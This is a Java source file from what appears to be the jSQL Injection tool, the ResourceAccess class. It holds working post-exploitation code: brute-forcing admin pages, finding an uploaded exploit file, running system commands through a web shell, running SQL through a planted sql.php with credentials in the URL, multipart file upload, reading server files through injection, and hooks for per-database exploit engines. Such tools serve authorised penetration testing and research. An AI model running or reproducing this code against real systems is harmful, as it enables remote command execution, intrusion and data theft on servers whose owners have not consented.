1
2
3
4
5
6
7
8
9
10
11 package com.jsql.model.accessible;
12
13 import com.jsql.model.InjectionModel;
14 import com.jsql.model.accessible.engine.*;
15 import com.jsql.model.bean.database.MockElement;
16 import com.jsql.model.suspendable.Input;
17 import com.jsql.view.subscriber.Seal;
18 import com.jsql.model.exception.JSqlException;
19 import com.jsql.model.suspendable.SuspendableGetRows;
20 import com.jsql.util.ConnectionUtil;
21 import com.jsql.util.LogLevelUtil;
22 import org.apache.commons.lang3.StringUtils;
23 import org.apache.logging.log4j.LogManager;
24 import org.apache.logging.log4j.Logger;
25
26 import java.io.File;
27 import java.io.IOException;
28 import java.io.InputStream;
29 import java.net.URI;
30 import java.net.URLEncoder;
31 import java.net.http.HttpHeaders;
32 import java.net.http.HttpRequest;
33 import java.net.http.HttpRequest.BodyPublishers;
34 import java.net.http.HttpResponse;
35 import java.net.http.HttpResponse.BodyHandlers;
36 import java.nio.charset.StandardCharsets;
37 import java.nio.file.Files;
38 import java.nio.file.Paths;
39 import java.time.Duration;
40 import java.util.*;
41 import java.util.concurrent.CompletionService;
42 import java.util.concurrent.ExecutionException;
43 import java.util.concurrent.ExecutorCompletionService;
44 import java.util.concurrent.ExecutorService;
45 import java.util.function.BinaryOperator;
46 import java.util.regex.Pattern;
47
48
49
50
51
52 public class ResourceAccess {
53
54 private static final Logger LOGGER = LogManager.getRootLogger();
55
56
57
58
59 private boolean isSearchAdminStopped = false;
60
61
62
63
64 private boolean isScanStopped = false;
65
66
67
68
69
70 private boolean isSearchFileStopped = false;
71
72
73
74
75 private final List<CallableFile> callablesReadFile = new ArrayList<>();
76 private final InjectionModel injectionModel;
77 private final ExploitSqlite exploitSqlite;
78 private final ExploitMysql exploitMysql;
79 private final ExploitOracle exploitOracle;
80 private final ExploitPostgres exploitPostgres;
81 private final ExploitHsqldb exploitHsqldb;
82 private final ExploitH2 exploitH2;
83 private final ExploitDerby exploitDerby;
84
85
86 public static final String WEB_CONFIRM_CMD = URLEncoder.encode("expr 133707330 + 10001", StandardCharsets.ISO_8859_1);
87 public static final String WEB_CONFIRM_RESULT = "133717331";
88 public static final String SQL_CONFIRM_CMD = "select 1337";
89 public static final String SQL_CONFIRM_RESULT = "| 1337 |";
90
91 public static final String SQL_DOT_PHP = "sql.php";
92 public static final String EXPLOIT_DOT_UPL = "exploit.upl";
93 public static final String EXPLOIT_DOT_WEB = "exploit.web";
94 public static final String UPLOAD_SUCCESSFUL = "Upload successful: ack received for {}{}";
95 public static final String UPLOAD_FAILURE = "Upload failure: missing ack for {}{}";
96
97 public static final String LOID_NOT_FOUND = "Exploit loid not found";
98 public static final String ADD_LOID = "loid#create";
99 public static final String WRITE_LOID = "loid#write";
100 public static final String READ_LOID = "loid#read";
101
102 public static final String DROP_FUNC = "func#drop";
103 public static final String ADD_FUNC = "body#add-func";
104 public static final String RUN_FUNC = "body#run-func";
105 public static final String BODY_CONFIRM = "body#confirm";
106 public static final String UDF_RUN_CMD = "udf#run-cmd";
107
108 public static final String TBL_CREATE = "tbl#create";
109 public static final String TBL_FILL = "tbl#fill";
110 public static final String TBL_DUMP = "tbl#dump";
111 public static final String TBL_DROP = "tbl#drop";
112 public static final String TBL_READ = "tbl#read";
113
114 public static final String FILE_READ = "file#read";
115
116
117 public static final String TEMPLATE_ERROR = "Command failure: %s\nTry '%s 2>&1' to get a system error message.\n";
118
119 public ResourceAccess(InjectionModel injectionModel) {
120 this.injectionModel = injectionModel;
121 this.exploitSqlite = new ExploitSqlite(injectionModel);
122 this.exploitMysql = new ExploitMysql(injectionModel);
123 this.exploitOracle = new ExploitOracle(injectionModel);
124 this.exploitPostgres = new ExploitPostgres(injectionModel);
125 this.exploitHsqldb = new ExploitHsqldb(injectionModel);
126 this.exploitH2 = new ExploitH2(injectionModel);
127 this.exploitDerby = new ExploitDerby(injectionModel);
128 }
129
130
131
132
133
134 public int createAdminPages(String urlInjection, List<String> pageNames) {
135 var matcher = Pattern.compile("^((https?://)?[^/]*)(.*)").matcher(urlInjection);
136 matcher.find();
137 String urlProtocol = matcher.group(1);
138 String urlWithoutProtocol = matcher.group(3);
139
140 List<String> folderSplits = new ArrayList<>();
141
142
143 if (urlWithoutProtocol.isEmpty() || !Pattern.matches("^/.*", urlWithoutProtocol)) {
144 urlWithoutProtocol = "/dummy";
145 }
146 String[] splits = urlWithoutProtocol.split("/", -1);
147 String[] folderNames = Arrays.copyOf(splits, splits.length - 1);
148 for (String folderName: folderNames) {
149 folderSplits.add(folderName +"/");
150 }
151
152 ExecutorService taskExecutor = this.injectionModel.getMediatorUtils().threadUtil().getExecutor("CallableGetAdminPage");
153 CompletionService<CallableHttpHead> taskCompletionService = new ExecutorCompletionService<>(taskExecutor);
154
155 var urlPart = new StringBuilder();
156 for (String segment: folderSplits) {
157 urlPart.append(segment);
158 for (String pageName: pageNames) {
159 taskCompletionService.submit(
160 new CallableHttpHead(
161 urlProtocol + urlPart + pageName,
162 this.injectionModel,
163 "check:page"
164 )
165 );
166 }
167 }
168
169 var nbAdminPagesFound = 0;
170 int submittedTasks = folderSplits.size() * pageNames.size();
171 int tasksHandled;
172 for (
173 tasksHandled = 0
174 ; tasksHandled < submittedTasks && !this.isSearchAdminStopped()
175 ; tasksHandled++
176 ) {
177 nbAdminPagesFound = this.callAdminPage(taskCompletionService, nbAdminPagesFound);
178 }
179
180 this.injectionModel.getMediatorUtils().threadUtil().shutdown(taskExecutor);
181 this.isSearchAdminStopped = false;
182 this.logSearchAdminPage(nbAdminPagesFound, submittedTasks, tasksHandled);
183
184 return nbAdminPagesFound;
185 }
186
187 public int callAdminPage(CompletionService<CallableHttpHead> taskCompletionService, int nbAdminPagesFound) {
188 int nbAdminPagesFoundFixed = nbAdminPagesFound;
189
190 try {
191 CallableHttpHead currentCallable = taskCompletionService.take().get();
192 if (currentCallable.isHttpResponseOk()) {
193 this.injectionModel.sendToViews(new Seal.CreateAdminPageTab(currentCallable.getUrl()));
194 nbAdminPagesFoundFixed++;
195 LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "Found page: {}", currentCallable.getUrl());
196 }
197 } catch (InterruptedException e) {
198 LOGGER.log(LogLevelUtil.IGNORE, e, e);
199 Thread.currentThread().interrupt();
200 } catch (ExecutionException e) {
201 LOGGER.log(LogLevelUtil.CONSOLE_JAVA, e, e);
202 }
203 return nbAdminPagesFoundFixed;
204 }
205
206 public void logSearchAdminPage(int nbAdminPagesFound, int submittedTasks, int tasksHandled) {
207 var result = String.format(
208 "Searched %s/%s page%s: %s found",
209 tasksHandled,
210 submittedTasks,
211 tasksHandled > 1 ? 's' : StringUtils.EMPTY,
212 nbAdminPagesFound
213 );
214
215 if (nbAdminPagesFound > 0) {
216 LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, result);
217 } else {
218 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, result);
219 }
220 }
221
222 public String checkUrls(String urlExploit, String nameExploit, BinaryOperator<String> biFuncGetRequest) {
223 String urlExploitFixed = urlExploit;
224 if (!urlExploitFixed.isEmpty()) {
225 urlExploitFixed = urlExploitFixed.replaceAll("/*$", StringUtils.EMPTY) +"/";
226 }
227 String url = urlExploitFixed;
228 if (StringUtils.isEmpty(url)) {
229 url = this.injectionModel.getMediatorUtils().connectionUtil().getUrlBase();
230 }
231 String urlWithoutProtocol = url.replaceAll("^https?://[^/]*", StringUtils.EMPTY);
232 String urlProtocol;
233 if ("/".equals(urlWithoutProtocol)) {
234 urlProtocol = url.replaceAll("/+$", StringUtils.EMPTY);
235 } else {
236 urlProtocol = url.replace(urlWithoutProtocol, StringUtils.EMPTY);
237 }
238
239 List<String> directoryNames = new ArrayList<>();
240 String urlWithoutFileName = urlWithoutProtocol.replaceAll("[^/]*$", StringUtils.EMPTY).replaceAll("/+", "/");
241 if (urlWithoutFileName.split("/").length == 0) {
242 directoryNames.add("/");
243 }
244 for (String directoryName: urlWithoutFileName.split("/")) {
245 directoryNames.add(directoryName +"/");
246 }
247 String urlSuccess = this.getExploitUrl(nameExploit, directoryNames, urlProtocol);
248 if (urlSuccess != null) {
249 urlSuccess = biFuncGetRequest.apply(nameExploit, urlSuccess);
250 } else {
251 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit access failure: connection URL not found");
252 }
253 return urlSuccess;
254 }
255
256 private String getExploitUrl(String filename, List<String> directoryNames, String urlProtocol) {
257 ExecutorService taskExecutor = this.injectionModel.getMediatorUtils().threadUtil().getExecutor("CallableGetExploitUrl");
258 CompletionService<CallableHttpHead> taskCompletionService = new ExecutorCompletionService<>(taskExecutor);
259 var urlPart = new StringBuilder();
260
261 for (String segment: directoryNames) {
262 urlPart.append(segment);
263 taskCompletionService.submit(
264 new CallableHttpHead(
265 urlProtocol + urlPart + filename,
266 this.injectionModel,
267 "xplt#confirm-url"
268 )
269 );
270 }
271
272 String urlSuccess = null;
273 int submittedTasks = directoryNames.size();
274 for (var tasksHandled = 0 ; tasksHandled < submittedTasks ; tasksHandled++) {
275 try {
276 CallableHttpHead currentCallable = taskCompletionService.take().get();
277 if (currentCallable.isHttpResponseOk()) {
278 urlSuccess = currentCallable.getUrl();
279 LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "Connection successful to [{}]", currentCallable.getUrl());
280 break;
281 }
282 } catch (InterruptedException e) {
283 LOGGER.log(LogLevelUtil.IGNORE, e, e);
284 Thread.currentThread().interrupt();
285 } catch (ExecutionException e) {
286 LOGGER.log(LogLevelUtil.CONSOLE_JAVA, e, e);
287 }
288 }
289
290 this.injectionModel.getMediatorUtils().threadUtil().shutdown(taskExecutor);
291 return urlSuccess;
292 }
293
294 public String callCommand(String urlCommand) {
295 return this.callCommand(urlCommand, false);
296 }
297
298 public String callCommand(String urlCommand, boolean isConnectIssueIgnored) {
299 String pageSource;
300 try {
301 pageSource = this.injectionModel.getMediatorUtils().connectionUtil().getSource(urlCommand, isConnectIssueIgnored);
302 } catch (Exception e) {
303 pageSource = StringUtils.EMPTY;
304 }
305
306 var regexSearch = Pattern.compile("(?s)<"+ DataAccess.LEAD +">(.*?)<"+ DataAccess.TRAIL +">").matcher(pageSource);
307 regexSearch.find();
308
309 String result;
310
311 try {
312 result = regexSearch.group(1);
313 } catch (IllegalStateException e) {
314 result = StringUtils.EMPTY;
315 if (!isConnectIssueIgnored) {
316 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, String.format(ResourceAccess.TEMPLATE_ERROR, "empty result", "command"));
317 }
318 }
319 return result;
320 }
321
322
323
324
325
326
327
328 public String runWebShell(String command, UUID uuidShell, String urlExploit) {
329 return this.runWebShell(command, uuidShell, urlExploit, false);
330 }
331 public String runWebShell(String command, UUID uuidShell, String urlExploit, boolean isConnectIssueIgnored) {
332 String result = this.callCommand(
333 urlExploit +"?c="+ URLEncoder.encode(command, StandardCharsets.ISO_8859_1),
334 isConnectIssueIgnored
335 );
336 if (StringUtils.isBlank(result)) {
337 result = String.format(ResourceAccess.TEMPLATE_ERROR, "empty result", command);
338 }
339 this.injectionModel.sendToViews(new Seal.GetTerminalResult(uuidShell, result));
340 return result;
341 }
342
343
344
345
346
347
348
349
350
351 public String runSqlShell(String command, UUID uuidShell, String urlExploit, String username, String password) {
352 return this.runSqlShell(command, uuidShell, urlExploit, username, password, true);
353 }
354
355 public String runSqlShell(String command, UUID uuidShell, String urlExploit, String username, String password, boolean isResultSentToView) {
356 String result = this.callCommand(String.format(
357 "%s?q=%s&u=%s&p=%s",
358 urlExploit,
359 URLEncoder.encode(command, StandardCharsets.ISO_8859_1),
360 username,
361 password
362 ));
363
364 if (result.contains("<SQLr>")) {
365 List<List<String>> listRows = this.parse(result);
366 if (listRows.isEmpty()) {
367 result = "Result not found: check your credentials or review logs in tab Network\n";
368 } else {
369 List<Integer> listFieldsLength = this.parseColumnLength(listRows);
370 result = this.convert(listRows, listFieldsLength);
371 }
372 }
373
374 if (isResultSentToView) {
375 this.injectionModel.sendToViews(new Seal.GetTerminalResult(uuidShell, result));
376 }
377 return result;
378 }
379
380 private String convert(List<List<String>> listRows, List<Integer> listFieldsLength) {
381 var tableText = new StringBuilder("+");
382 for (Integer fieldLength: listFieldsLength) {
383 tableText.append("-").append(StringUtils.repeat("-", fieldLength)).append("-+");
384 }
385 tableText.append("\n");
386 for (List<String> listFields: listRows) {
387 tableText.append("|");
388 var cursorPosition = 0;
389 for (String field: listFields) {
390 tableText.append(StringUtils.SPACE)
391 .append(field)
392 .append(StringUtils.repeat(StringUtils.SPACE, listFieldsLength.get(cursorPosition) - field.length()))
393 .append(" |");
394 cursorPosition++;
395 }
396 tableText.append("\n");
397 }
398 tableText.append("+");
399 for (Integer fieldLength: listFieldsLength) {
400 tableText.append("-").append(StringUtils.repeat("-", fieldLength)).append("-+");
401 }
402 tableText.append("\n");
403 return tableText.toString();
404 }
405
406 private List<Integer> parseColumnLength(List<List<String>> listRows) {
407 List<Integer> listFieldsLength = new ArrayList<>();
408 for (
409 var indexLongestRowSearch = 0;
410 indexLongestRowSearch < listRows.getFirst().size();
411 indexLongestRowSearch++
412 ) {
413 int indexLongestRowSearchFinal = indexLongestRowSearch;
414 listRows.sort(
415 (firstRow, secondRow) -> secondRow.get(indexLongestRowSearchFinal).length() - firstRow.get(indexLongestRowSearchFinal).length()
416 );
417 listFieldsLength.add(listRows.getFirst().get(indexLongestRowSearch).length());
418 }
419 return listFieldsLength;
420 }
421
422 private List<List<String>> parse(String result) {
423 List<List<String>> listRows = new ArrayList<>();
424 var rowsMatcher = Pattern.compile("(?si)<tr>(<td>.*?</td>)</tr>").matcher(result);
425 while (rowsMatcher.find()) {
426 String values = rowsMatcher.group(1);
427 var fieldsMatcher = Pattern.compile("(?si)<td>(.*?)</td>").matcher(values);
428 List<String> listFields = new ArrayList<>();
429 listRows.add(listFields);
430
431 while (fieldsMatcher.find()) {
432 String field = fieldsMatcher.group(1);
433 listFields.add(field);
434 }
435 }
436 return listRows;
437 }
438
439 public HttpResponse<String> upload(File file, String url, InputStream streamToUpload) throws IOException, JSqlException, InterruptedException {
440 var crLf = "\r\n";
441 var boundary = "---------------------------4664151417711";
442
443 var streamData = new byte[streamToUpload.available()];
444 if (streamToUpload.read(streamData) == -1) {
445 throw new JSqlException("Error reading the file");
446 }
447
448 String headerForm = StringUtils.EMPTY;
449 headerForm += "--"+ boundary + crLf;
450 headerForm += "Content-Disposition: form-data; name=\"u\"; filename=\""+ file.getName() +"\""+ crLf;
451 headerForm += "Content-Type: binary/octet-stream"+ crLf;
452 headerForm += crLf;
453
454 String headerFile = StringUtils.EMPTY;
455 headerFile += crLf +"--"+ boundary +"--"+ crLf;
456
457 var httpRequest = HttpRequest.newBuilder()
458 .uri(URI.create(url))
459 .timeout(Duration.ofSeconds(15))
460 .POST(BodyPublishers.ofByteArrays(
461 Arrays.asList(
462 headerForm.getBytes(StandardCharsets.UTF_8),
463 Files.readAllBytes(Paths.get(file.toURI())),
464 headerFile.getBytes(StandardCharsets.UTF_8)
465 )
466 ))
467 .setHeader("Content-Type", "multipart/form-data; boundary=" + boundary)
468 .build();
469
470 var response = this.injectionModel.getMediatorUtils().connectionUtil().getHttpClient().build().send(httpRequest, BodyHandlers.ofString());
471 HttpHeaders httpHeaders = response.headers();
472 String pageSource = response.body();
473
474 this.injectionModel.sendToViews(new Seal.MessageHeader(
475 url,
476 null,
477 ConnectionUtil.getHeadersMap(httpRequest.headers()),
478 ConnectionUtil.getHeadersMap(httpHeaders),
479 pageSource,
480 null,
481 null,
482 "upl#multipart",
483 null
484 ));
485 return response;
486 }
487
488
489
490
491
492
493 public boolean isMysqlReadDenied() throws JSqlException {
494 var sourcePage = new String[]{ StringUtils.EMPTY };
495 String resultInjection = new SuspendableGetRows(this.injectionModel).run(new Input(
496 this.injectionModel.getResourceAccess().getExploitMysql().getModelYaml().getFile().getPrivilege(),
497 sourcePage,
498 false,
499 1,
500 MockElement.MOCK,
501 "privilege"
502 ));
503
504 boolean readingIsAllowed = false;
505
506 if (StringUtils.isEmpty(resultInjection)) {
507 this.injectionModel.sendResponseFromSite("Can't read privilege", sourcePage[0].trim());
508 this.injectionModel.sendToViews(new Seal.MarkFileSystemInvulnerable());
509 } else if ("false".equals(resultInjection)) {
510 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Privilege FILE not granted: files not readable by current user");
511 this.injectionModel.sendToViews(new Seal.MarkFileSystemInvulnerable());
512 } else {
513 this.injectionModel.sendToViews(new Seal.MarkFileSystemVulnerable());
514 readingIsAllowed = true;
515 }
516
517 return !readingIsAllowed;
518 }
519
520
521
522
523
524
525
526
527
528
529 public List<String> readFile(List<String> pathsFiles) throws JSqlException, InterruptedException, ExecutionException {
530 if (
531 this.injectionModel.getMediatorEngine().getEngine() == this.injectionModel.getMediatorEngine().getMysql()
532 && this.isMysqlReadDenied()
533 ) {
534 return Collections.emptyList();
535 }
536
537 var countFileFound = 0;
538 var results = new ArrayList<String>();
539
540 ExecutorService taskExecutor = this.injectionModel.getMediatorUtils().threadUtil().getExecutor("CallableReadFile");
541 CompletionService<CallableFile> taskCompletionService = new ExecutorCompletionService<>(taskExecutor);
542
543 for (String pathFile: pathsFiles) {
544 var callableFile = new CallableFile(pathFile, this.injectionModel);
545 taskCompletionService.submit(callableFile);
546 this.callablesReadFile.add(callableFile);
547 }
548
549 List<String> duplicate = new ArrayList<>();
550 int submittedTasks = pathsFiles.size();
551 int tasksHandled;
552
553 for (
554 tasksHandled = 0
555 ; tasksHandled < submittedTasks && !this.isSearchFileStopped
556 ; tasksHandled++
557 ) {
558 var currentCallable = taskCompletionService.take().get();
559 if (StringUtils.isNotEmpty(currentCallable.getSourceFile())) {
560 var name = currentCallable.getPathFile().substring(
561 currentCallable.getPathFile().lastIndexOf('/') + 1
562 );
563 String content = currentCallable.getSourceFile();
564 String path = currentCallable.getPathFile();
565
566 this.injectionModel.sendToViews(new Seal.CreateFileTab(name, content, path));
567
568 if (!duplicate.contains(path.replace(name, StringUtils.EMPTY))) {
569 LOGGER.log(
570 LogLevelUtil.CONSOLE_INFORM,
571 "Folder exploit candidate: {}",
572 () -> path.replace(name, StringUtils.EMPTY)
573 );
574 }
575
576 duplicate.add(path.replace(name, StringUtils.EMPTY));
577 results.add(content);
578
579 countFileFound++;
580 }
581 }
582
583
584 for (CallableFile callableReadFile: this.callablesReadFile) {
585 callableReadFile.getSuspendableReadFile().stop();
586 }
587 this.callablesReadFile.clear();
588 this.injectionModel.getMediatorUtils().threadUtil().shutdown(taskExecutor);
589 this.isSearchFileStopped = false;
590
591 var result = String.format(
592 "Searched %s/%s file%s: %s found",
593 tasksHandled,
594 submittedTasks,
595 tasksHandled > 1 ? 's' : StringUtils.EMPTY,
596 countFileFound
597 );
598
599 if (countFileFound > 0) {
600 LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, result);
601 } else {
602 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, result);
603 }
604 return results;
605 }
606
607 public String getResult(String query, String metadata) throws JSqlException {
608 var sourcePage = new String[]{ StringUtils.EMPTY };
609 return new SuspendableGetRows(this.injectionModel).run(new Input(
610 query,
611 sourcePage,
612 false,
613 0,
614 MockElement.MOCK,
615 metadata
616 ));
617 }
618
619 public String getResultWithCatch(String query, String metadata) {
620 var sourcePage = new String[]{ StringUtils.EMPTY };
621 try {
622 return new SuspendableGetRows(this.injectionModel).run(new Input(
623 query,
624 sourcePage,
625 false,
626 0,
627 MockElement.MOCK,
628 metadata
629 ));
630 } catch (JSqlException ignored) {
631 return StringUtils.EMPTY;
632 }
633 }
634
635
636
637
638
639
640 public void stopSearchFile() {
641 this.isSearchFileStopped = true;
642 for (CallableFile callable: this.callablesReadFile) {
643 callable.getSuspendableReadFile().stop();
644 }
645 }
646
647 public void stopSearchAdmin() {
648 this.isSearchAdminStopped = true;
649 }
650
651
652
653
654 public ExploitSqlite getExploitSqlite() {
655 return this.exploitSqlite;
656 }
657
658 public ExploitMysql getExploitMysql() {
659 return this.exploitMysql;
660 }
661
662 public ExploitOracle getExploitOracle() {
663 return this.exploitOracle;
664 }
665
666 public ExploitPostgres getExploitPostgres() {
667 return this.exploitPostgres;
668 }
669
670 public boolean isSearchAdminStopped() {
671 return this.isSearchAdminStopped;
672 }
673
674 public void setScanStopped(boolean isScanStopped) {
675 this.isScanStopped = isScanStopped;
676 }
677
678 public boolean isScanStopped() {
679 return this.isScanStopped;
680 }
681
682 public ExploitHsqldb getExploitHsqldb() {
683 return this.exploitHsqldb;
684 }
685
686 public ExploitH2 getExploitH2() {
687 return this.exploitH2;
688 }
689
690 public ExploitDerby getExploitDerby() {
691 return this.exploitDerby;
692 }
693 }